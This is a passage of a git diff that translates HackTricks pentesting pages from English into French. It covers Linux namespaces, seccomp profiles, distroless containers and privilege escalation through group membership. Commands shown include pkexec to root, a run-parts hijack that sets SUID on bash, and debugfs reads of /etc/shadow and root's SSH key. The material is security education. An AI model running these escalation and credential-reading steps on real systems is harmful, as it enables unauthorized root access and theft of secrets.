qui nécessitent généralement cette capacité, comme le montage de systèmes de fichiers, mais uniquement dans le contexte de votre espace de noms utilisateur. Toute opération que vous effectuez avec cette capacité n'affectera pas le système hôte ou d'autres espaces de noms. > [!WARNING] -> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container. - +> Par conséquent, même si obtenir un nouveau processus à l'intérieur d'un nouvel espace de noms utilisateur **vous donnera toutes les capacités de retour** (CapEff: 000001ffffffffff), vous pouvez en réalité **utiliser uniquement celles liées à l'espace de noms** (montage par exemple) mais pas toutes. Donc, cela en soi n'est pas suffisant pour échapper à un conteneur Docker. ```bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash @@ -144,5 +127,4 @@ Probando: 0x139 . . . Error Probando: 0x140 . . . Error Probando: 0x141 . . . Error ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index 62b92742a..5e762b4f5 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -2,77 +2,67 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base -A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname. +Un namespace UTS (UNIX Time-Sharing System) est une fonctionnalité du noyau Linux qui fournit l'**isolement de deux identifiants système** : le **nom d'hôte** et le **nom de domaine NIS** (Network Information Service). Cet isolement permet à chaque namespace UTS d'avoir son **propre nom d'hôte et son nom de domaine NIS indépendants**, ce qui est particulièrement utile dans les scénarios de conteneurisation où chaque conteneur doit apparaître comme un système séparé avec son propre nom d'hôte. -### How it works: +### Comment ça fonctionne : -1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces. -2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace. +1. Lorsqu'un nouveau namespace UTS est créé, il commence avec une **copie du nom d'hôte et du nom de domaine NIS de son namespace parent**. Cela signifie qu'à la création, le nouveau namespace **partage les mêmes identifiants que son parent**. Cependant, tout changement ultérieur du nom d'hôte ou du nom de domaine NIS au sein du namespace n'affectera pas les autres namespaces. +2. Les processus au sein d'un namespace UTS **peuvent changer le nom d'hôte et le nom de domaine NIS** en utilisant les appels système `sethostname()` et `setdomainname()`, respectivement. Ces changements sont locaux au namespace et n'affectent pas les autres namespaces ou le système hôte. +3. Les processus peuvent se déplacer entre les namespaces en utilisant l'appel système `setns()` ou créer de nouveaux namespaces en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWUTS`. Lorsqu'un processus se déplace vers un nouveau namespace ou en crée un, il commencera à utiliser le nom d'hôte et le nom de domaine NIS associés à ce namespace. -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents Namespaces #### CLI - ```bash sudo unshare -u [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash : fork : Impossible d'allouer de la mémoire -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous : -1. **Problem Explanation**: +1. **Explication du problème** : - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Le noyau Linux permet à un processus de créer de nouveaux namespaces en utilisant l'appel système `unshare`. Cependant, le processus qui initie la création d'un nouveau namespace PID (appelé le processus "unshare") n'entre pas dans le nouveau namespace ; seuls ses processus enfants le font. +- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans l'espace de noms PID d'origine. +- Le premier processus enfant de `/bin/bash` dans le nouveau namespace devient PID 1. Lorsque ce processus se termine, il déclenche le nettoyage du namespace s'il n'y a pas d'autres processus, car PID 1 a le rôle spécial d'adopter les processus orphelins. Le noyau Linux désactivera alors l'allocation de PID dans ce namespace. -2. **Consequence**: +2. **Conséquence** : - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- La sortie de PID 1 dans un nouveau namespace entraîne le nettoyage du drapeau `PIDNS_HASH_ADDING`. Cela entraîne l'échec de la fonction `alloc_pid` à allouer un nouveau PID lors de la création d'un nouveau processus, produisant l'erreur "Impossible d'allouer de la mémoire". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Solution** : +- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de forker un nouveau processus après avoir créé le nouveau namespace PID. +- L'exécution de `%unshare -fp /bin/bash%` garantit que la commande `unshare` elle-même devient PID 1 dans le nouveau namespace. `/bin/bash` et ses processus enfants sont alors en toute sécurité contenus dans ce nouveau namespace, empêchant la sortie prématurée de PID 1 et permettant une allocation normale de PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau namespace PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Vérifiez dans quel espace de noms se trouve votre processus ```bash ls -l /proc/self/ns/uts lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]' ``` - -### Find all UTS namespaces - +### Trouver tous les espaces de noms UTS ```bash sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an UTS namespace - +### Entrer dans un namespace UTS ```bash nsenter -u TARGET_PID --pid /bin/bash ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md index 17ec393d2..9ec3f4c79 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base -**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them. +**Seccomp**, qui signifie mode de calcul sécurisé, est une fonctionnalité de sécurité du **noyau Linux conçue pour filtrer les appels système**. Il restreint les processus à un ensemble limité d'appels système (`exit()`, `sigreturn()`, `read()`, et `write()` pour les descripteurs de fichiers déjà ouverts). Si un processus essaie d'appeler autre chose, il est terminé par le noyau en utilisant SIGKILL ou SIGSYS. Ce mécanisme ne virtualise pas les ressources mais isole le processus d'elles. -There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`. +Il existe deux façons d'activer seccomp : via l'appel système `prctl(2)` avec `PR_SET_SECCOMP`, ou pour les noyaux Linux 3.17 et supérieurs, l'appel système `seccomp(2)`. L'ancienne méthode d'activation de seccomp en écrivant dans `/proc/self/seccomp` a été dépréciée au profit de `prctl()`. -An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux. +Une amélioration, **seccomp-bpf**, ajoute la capacité de filtrer les appels système avec une politique personnalisable, en utilisant des règles de Berkeley Packet Filter (BPF). Cette extension est exploitée par des logiciels tels qu'OpenSSH, vsftpd, et les navigateurs Chrome/Chromium sur Chrome OS et Linux pour un filtrage des appels système flexible et efficace, offrant une alternative à l'ancien systrace pour Linux. -### **Original/Strict Mode** - -In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL +### **Mode Original/Strict** +Dans ce mode, Seccomp **n'autorise que les appels système** `exit()`, `sigreturn()`, `read()` et `write()` pour les descripteurs de fichiers déjà ouverts. Si un autre appel système est effectué, le processus est tué en utilisant SIGKILL. ```c:seccomp_strict.c #include #include @@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read( int main(int argc, char **argv) { - int output = open("output.txt", O_WRONLY); - const char *val = "test"; +int output = open("output.txt", O_WRONLY); +const char *val = "test"; - //enables strict seccomp mode - printf("Calling prctl() to set seccomp strict mode...\n"); - prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); +//enables strict seccomp mode +printf("Calling prctl() to set seccomp strict mode...\n"); +prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); - //This is allowed as the file was already opened - printf("Writing to an already open file...\n"); - write(output, val, strlen(val)+1); +//This is allowed as the file was already opened +printf("Writing to an already open file...\n"); +write(output, val, strlen(val)+1); - //This isn't allowed - printf("Trying to open file for reading...\n"); - int input = open("output.txt", O_RDONLY); +//This isn't allowed +printf("Trying to open file for reading...\n"); +int input = open("output.txt", O_RDONLY); - printf("You will not see this message--the process will be killed first\n"); +printf("You will not see this message--the process will be killed first\n"); } ``` - ### Seccomp-bpf -This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. - +Ce mode permet **le filtrage des appels système à l'aide d'une politique configurable** mise en œuvre à l'aide de règles de filtre de paquets Berkeley. ```c:seccomp_bpf.c #include #include @@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple //gcc seccomp_bpf.c -o seccomp_bpf -lseccomp void main(void) { - /* initialize the libseccomp context */ - scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); +/* initialize the libseccomp context */ +scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); - /* allow exiting */ - printf("Adding rule : Allow exit_group\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); +/* allow exiting */ +printf("Adding rule : Allow exit_group\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); - /* allow getting the current pid */ - //printf("Adding rule : Allow getpid\n"); - //seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); +/* allow getting the current pid */ +//printf("Adding rule : Allow getpid\n"); +//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); - printf("Adding rule : Deny getpid\n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); - /* allow changing data segment size, as required by glibc */ - printf("Adding rule : Allow brk\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); +printf("Adding rule : Deny getpid\n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); +/* allow changing data segment size, as required by glibc */ +printf("Adding rule : Allow brk\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); - /* allow writing up to 512 bytes to fd 1 */ - printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, - SCMP_A0(SCMP_CMP_EQ, 1), - SCMP_A2(SCMP_CMP_LE, 512)); +/* allow writing up to 512 bytes to fd 1 */ +printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, +SCMP_A0(SCMP_CMP_EQ, 1), +SCMP_A2(SCMP_CMP_LE, 512)); - /* if writing to any other fd, return -EBADF */ - printf("Adding rule : Deny write to any FD except 1 \n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, - SCMP_A0(SCMP_CMP_NE, 1)); +/* if writing to any other fd, return -EBADF */ +printf("Adding rule : Deny write to any FD except 1 \n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, +SCMP_A0(SCMP_CMP_NE, 1)); - /* load and enforce the filters */ - printf("Load rules and enforce \n"); - seccomp_load(ctx); - seccomp_release(ctx); - //Get the getpid is denied, a weird number will be returned like - //this process is -9 - printf("this process is %d\n", getpid()); +/* load and enforce the filters */ +printf("Load rules and enforce \n"); +seccomp_load(ctx); +seccomp_release(ctx); +//Get the getpid is denied, a weird number will be returned like +//this process is -9 +printf("this process is %d\n", getpid()); } ``` +## Seccomp dans Docker -## Seccomp in Docker - -**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ -You can run a docker container with a **different seccomp** policy with: - +**Seccomp-bpf** est pris en charge par **Docker** pour restreindre les **syscalls** des conteneurs, réduisant ainsi efficacement la surface d'attaque. Vous pouvez trouver les **syscalls bloqués** par **défaut** sur [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) et le **profil seccomp par défaut** peut être trouvé ici [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ +Vous pouvez exécuter un conteneur docker avec une **politique seccomp** différente avec : ```bash docker run --rm \ - -it \ - --security-opt seccomp=/path/to/seccomp/profile.json \ - hello-world +-it \ +--security-opt seccomp=/path/to/seccomp/profile.json \ +hello-world ``` - -If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\ -If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\ -In the following example the **syscalls** of `uname` are discovered: - +Si vous souhaitez par exemple **interdire** à un conteneur d'exécuter un **syscall** comme `uname`, vous pouvez télécharger le profil par défaut depuis [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) et simplement **supprimer la chaîne `uname` de la liste**.\ +Si vous voulez vous assurer que **certains binaires ne fonctionnent pas à l'intérieur d'un conteneur docker**, vous pouvez utiliser strace pour lister les syscalls que le binaire utilise et ensuite les interdire.\ +Dans l'exemple suivant, les **syscalls** de `uname` sont découverts : ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname ``` - > [!NOTE] -> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs +> Si vous utilisez **Docker uniquement pour lancer une application**, vous pouvez **profiler** avec **`strace`** et **permettre uniquement les syscalls** nécessaires -### Example Seccomp policy +### Exemple de politique Seccomp -[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) - -To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below. +[Exemple ici](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) +Pour illustrer la fonctionnalité Seccomp, créons un profil Seccomp désactivant l'appel système “chmod” comme ci-dessous. ```json { - "defaultAction": "SCMP_ACT_ALLOW", - "syscalls": [ - { - "name": "chmod", - "action": "SCMP_ACT_ERRNO" - } - ] +"defaultAction": "SCMP_ACT_ALLOW", +"syscalls": [ +{ +"name": "chmod", +"action": "SCMP_ACT_ERRNO" +} +] } ``` - -In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\ -Following output shows the “chmod” call returning error because its disabled in the seccomp profile - +Dans le profil ci-dessus, nous avons défini l'action par défaut sur "allow" et créé une liste noire pour désactiver "chmod". Pour être plus sécurisé, nous pouvons définir l'action par défaut sur drop et créer une liste blanche pour activer sélectivement les appels système.\ +La sortie suivante montre que l'appel "chmod" renvoie une erreur car il est désactivé dans le profil seccomp. ```bash $ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts chmod: /etc/hosts: Operation not permitted ``` - -Following output shows the “docker inspect” displaying the profile: - +La sortie suivante montre le “docker inspect” affichant le profil : ```json "SecurityOpt": [ - "seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" - ] +"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" +] ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index a733d5934..152e7049d 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -1,30 +1,30 @@ -# Weaponizing Distroless +# Armer Distroless {{#include ../../../banners/hacktricks-training.md}} -## What is Distroless +## Qu'est-ce que Distroless -A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components. +Un conteneur distroless est un type de conteneur qui **contient uniquement les dépendances nécessaires pour exécuter une application spécifique**, sans aucun logiciel ou outil supplémentaire qui n'est pas requis. Ces conteneurs sont conçus pour être aussi **légers** et **sécurisés** que possible, et ils visent à **minimiser la surface d'attaque** en supprimant les composants inutiles. -Distroless containers are often used in **production environments where security and reliability are paramount**. +Les conteneurs distroless sont souvent utilisés dans des **environnements de production où la sécurité et la fiabilité sont primordiales**. -Some **examples** of **distroless containers** are: +Quelques **exemples** de **conteneurs distroless** sont : -- Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) -- Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) +- Fournis par **Google** : [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) +- Fournis par **Chainguard** : [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) -## Weaponizing Distroless +## Armer Distroless -The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`. +L'objectif d'armer un conteneur distroless est de pouvoir **exécuter des binaires et des charges utiles arbitraires même avec les limitations** impliquées par **distroless** (absence de binaires communs dans le système) et également des protections couramment trouvées dans les conteneurs telles que **lecture seule** ou **non-exécution** dans `/dev/shm`. -### Through memory +### À travers la mémoire -Coming at some point of 2023... +À venir à un moment donné de 2023... -### Via Existing binaries +### Via des binaires existants #### openssl -\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container. +\***\*[**Dans cet article,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) il est expliqué que le binaire **`openssl`** est fréquemment trouvé dans ces conteneurs, potentiellement parce qu'il est **nécessaire\*\* pour le logiciel qui va s'exécuter à l'intérieur du conteneur. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index f34a6d548..65e1f6e93 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -1,13 +1,12 @@ -# Interesting Groups - Linux Privesc +# Groupes Intéressants - Privilèges Linux {{#include ../../../banners/hacktricks-training.md}} -## Sudo/Admin Groups +## Groupes Sudo/Admin -### **PE - Method 1** - -**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines: +### **PE - Méthode 1** +**Parfois**, **par défaut (ou parce que certains logiciels en ont besoin)**, vous pouvez trouver certaines de ces lignes dans le fichier **/etc/sudoers** : ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -15,48 +14,36 @@ # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +Cela signifie que **tout utilisateur appartenant au groupe sudo ou admin peut exécuter n'importe quoi en tant que sudo**. -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Si c'est le cas, pour **devenir root, vous pouvez simplement exécuter** : ``` sudo su ``` +### PE - Méthode 2 -### PE - Method 2 - -Find all suid binaries and check if there is the binary **Pkexec**: - +Trouvez tous les binaires suid et vérifiez s'il y a le binaire **Pkexec** : ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\ -This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with: - +Si vous constatez que le binaire **pkexec est un binaire SUID** et que vous appartenez à **sudo** ou **admin**, vous pourriez probablement exécuter des binaires en tant que sudo en utilisant `pkexec`.\ +C'est parce que typiquement, ce sont les groupes à l'intérieur de la **politique polkit**. Cette politique identifie essentiellement quels groupes peuvent utiliser `pkexec`. Vérifiez-le avec : ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +Là, vous trouverez quels groupes sont autorisés à exécuter **pkexec** et **par défaut** dans certaines distributions Linux, les groupes **sudo** et **admin** apparaissent. -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear. - -To **become root you can execute**: - +Pour **devenir root, vous pouvez exécuter** : ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +Si vous essayez d'exécuter **pkexec** et que vous obtenez cette **erreur** : ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: - +**Ce n'est pas parce que vous n'avez pas de permissions mais parce que vous n'êtes pas connecté sans interface graphique**. Et il y a une solution à ce problème ici : [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Vous avez besoin de **2 sessions ssh différentes** : ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` +## Groupe Wheel -## Wheel Group - -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: - +**Parfois**, **par défaut** dans le fichier **/etc/sudoers**, vous pouvez trouver cette ligne : ``` %wheel ALL=(ALL:ALL) ALL ``` +Cela signifie que **tout utilisateur appartenant au groupe wheel peut exécuter n'importe quoi en tant que sudo**. -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Si c'est le cas, pour **devenir root, vous pouvez simplement exécuter** : ``` sudo su ``` +## Groupe Shadow -## Shadow Group - -Users from the **group shadow** can **read** the **/etc/shadow** file: - +Les utilisateurs du **groupe shadow** peuvent **lire** le fichier **/etc/shadow** : ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +Alors, lisez le fichier et essayez de **craquer quelques hashes**. -So, read the file and try to **crack some hashes**. +## Groupe du personnel -## Staff Group - -**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups) - -In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not. +**staff** : Permet aux utilisateurs d'ajouter des modifications locales au système (`/usr/local`) sans avoir besoin de privilèges root (notez que les exécutables dans `/usr/local/bin` sont dans la variable PATH de tout utilisateur, et ils peuvent "remplacer" les exécutables dans `/bin` et `/usr/bin` ayant le même nom). Comparez avec le groupe "adm", qui est plus lié à la surveillance/sécurité. [\[source\]](https://wiki.debian.org/SystemGroups) +Dans les distributions debian, la variable `$PATH` montre que `/usr/local/` sera exécuté avec la plus haute priorité, que vous soyez un utilisateur privilégié ou non. ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -107,11 +86,9 @@ $ echo $PATH # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` +Si nous pouvons détourner certains programmes dans `/usr/local`, nous pouvons facilement obtenir les droits root. -If we can hijack some programs in `/usr/local`, we can easy to get root. - -Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login). - +Détourner le programme `run-parts` est un moyen facile d'obtenir les droits root, car la plupart des programmes exécuteront un `run-parts` comme (crontab, lors de la connexion ssh). ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -119,9 +96,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` - -or When a new ssh session login. - +ou Lorsqu'une nouvelle session ssh se connecte. ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -134,9 +109,7 @@ $ pspy64 2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv] 2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash ``` - -**Exploit** - +**Exploitation** ```bash # 0x1 Add a run-parts script in /usr/local/bin/ $ vi /usr/local/bin/run-parts @@ -155,13 +128,11 @@ $ ls -la /bin/bash # 0x5 root it $ /bin/bash -p ``` +## Groupe de Disques -## Disk Group - -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. - -Files:`/dev/sd[a-z][1-9]` +Ce privilège est presque **équivalent à un accès root** car vous pouvez accéder à toutes les données à l'intérieur de la machine. +Fichiers : `/dev/sd[a-z][1-9]` ```bash df -h #Find where "/" is mounted debugfs /dev/sda1 @@ -170,57 +141,47 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +Notez qu'en utilisant debugfs, vous 